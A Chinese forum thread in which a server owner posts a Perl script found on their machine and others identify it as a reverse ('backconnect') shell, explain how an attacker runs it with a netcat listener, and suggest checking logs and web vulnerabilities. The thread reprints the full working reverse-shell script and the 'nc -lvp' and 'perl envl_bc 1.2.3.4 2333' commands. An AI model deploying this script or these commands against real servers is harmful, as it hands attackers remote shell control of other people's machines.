服务器是不是被植入后门了? Linux 大神帮忙分析下
- 0次
- 2021-06-30 10:28:05
- idczone
cat envl_bc
#!/use/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname-a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDIN);
close(STDIN);
这个是个后门
后门+1
bc = backconnect
反弹了 shell 吧
reverse shell...
可以来个蜜罐走一波
运行这段代码能干啥
这是攻击的肉机吧
我表示没看懂,有大神给讲解讲解吗、
这个 perl 脚本接受两个参数,一个是监听服务器的 ip,一个是端口,这段代码就是把 sh shell 反弹到刚才所说的监听服务器上。那个监听服务器一般是用 netcat 做端口监听,接收 socket,命令一般是 `nc -lvp [port]`
假设黑客的监听端口是 2333, 服务器 IP 是 1.2.3.4, 那么黑客会在 1.2.3.4 这台服务器上运行 `nc -lvp 2333`
然后在楼主的服务器上运行 `perl envl_bc 1.2.3.4 2333`
如果网络顺畅的话,黑客就可以直接在他的服务器( 1.2.3.4 )直接控制楼主服务器的某个权限的 shell 了
多年前,大多数情况是服务器 web 服务存在漏洞,黑客利用这样的 shell 反弹技术运行 localroot(本地提权)程序 /脚本。
所以建议楼主查一下 web 服务(或不限于 web 服务)是否存在漏洞。
估计 web 目录已经躺着好几个 webshell 了。
我有点困惑,既然是后门,为嘛要用明码脚本来写呢?就算不会用 c/c++,用 python 编译搞一下,也比直接 perl 脚本让人一看就觉得蹊跷要好呀。。。。
感谢楼上各位分析,我看着像,不确定所以来问问
因为这是开个端口临时用的,会放更隐蔽的
楼主要查一下文件时间变动,看一下 log 操作记录,现在的服务器开任何端口给 外网操作都挺危险的,ssh/mysql 这些暴力破解的自动化程序满天飞
1.老旧的 linux/unix 服务器通常自带 perl,尤其是 unix (尤其在日本,日本很多老旧站点都是 perl cgi 开发的)。
2.perl 和其他多数语言一样,分号结尾,所有代码可以写在一行(显然这次是个例外),这样有个好处,就是在遇到命令执行漏洞的时候,非常管用,而 Python 做不到。
3.许多(老旧的包括现在,尤其是老旧的)服务器在生产环境下是不存在 c/cpp 编译环境的,但是国内很多 linux 服务器却都拥有编译环境。(编译环境对于本地提权来说是非常必要的,当然交叉编译 /自建环境编译除外,这些都很容易出错)
4.如 13 楼所说,临时用的,一般这种脚本在执行之后,都会立即进行提权,然后植入 rootkit,那些才是真正的后门,隐蔽性极高,没有取证 /渗透经验的人,通常是找不到的。这一次显然是由于黑客疏忽 /权限问题没有清除。
再补一条,这个反弹 shell 的脚本其实并不具备后门的特征,也不会给取证带来什么方便,简而言之,就是用这样的动态语言写的脚本其实并不会暴露黑客的信息,当然,在建立连接的时候,[可能]会在 history 里面留下黑客服务器的 IP 地址,网关那里也可能会有,但是这些代码并不会直接暴露黑客的信息,所以这代码是否源码可见对他来说都是安全的。
Python 也是可以放在一行来玩的
```
python -c 'print 123;print 456; print 789'
```
若服务器前端有硬件防火墙 以及开启软防火墙不是也没有效果的吧。
你讲的那些似乎我没有从脚本中看出来有那些命令(可能是水平还是很菜。23333 )
我前面描述有误,感谢指正。python 的确可以一行代码,比如一些 web 服务器和模板的命令执行漏洞( flask+jinja2 )都是一行 Python 做到的。
无论软 /硬防我个人觉得(可能有误)要看入站 /出站规则吧,另外它里面的日志可以用来取证。
你说一下我讲的哪一段你没有看出来,我再解释解释。